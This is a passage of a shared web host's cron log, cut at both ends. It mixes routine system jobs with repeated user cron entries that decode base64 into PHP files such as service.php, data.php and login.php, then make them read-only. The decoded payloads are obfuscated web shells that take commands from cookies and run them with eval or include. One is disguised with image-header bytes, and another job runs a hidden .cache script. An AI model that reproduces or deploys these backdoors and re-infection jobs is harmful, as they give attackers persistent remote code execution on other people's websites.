"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:51:02 medusa CROND[30953]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:51:02 medusa CROND[30957]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:51:02 medusa CROND[30958]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:51:02 medusa CROND[30959]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:51:02 medusa CROND[30962]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:51:02 medusa CROND[30964]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:51:02 medusa CROND[30965]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:51:02 medusa CROND[30961]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:51:02 medusa CROND[30967]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:51:02 medusa CROND[30973]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:52:01 medusa CROND[22595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:52:01 medusa CROND[22599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:52:01 medusa CROND[22600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:52:01 medusa CROND[22601]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:52:01 medusa CROND[22602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:52:01 medusa CROND[22603]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:52:01 medusa CROND[22604]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:52:01 medusa CROND[22605]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:52:01 medusa CROND[22607]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:52:01 medusa CROND[22612]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:52:01 medusa CROND[22614]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:52:01 medusa CROND[22615]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:52:01 medusa CROND[22617]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:53:01 medusa CROND[11707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:53:01 medusa CROND[11776]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:53:01 medusa CROND[11777]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:53:01 medusa CROND[11780]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:53:01 medusa CROND[11782]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:53:01 medusa CROND[11785]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:53:01 medusa CROND[11784]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXS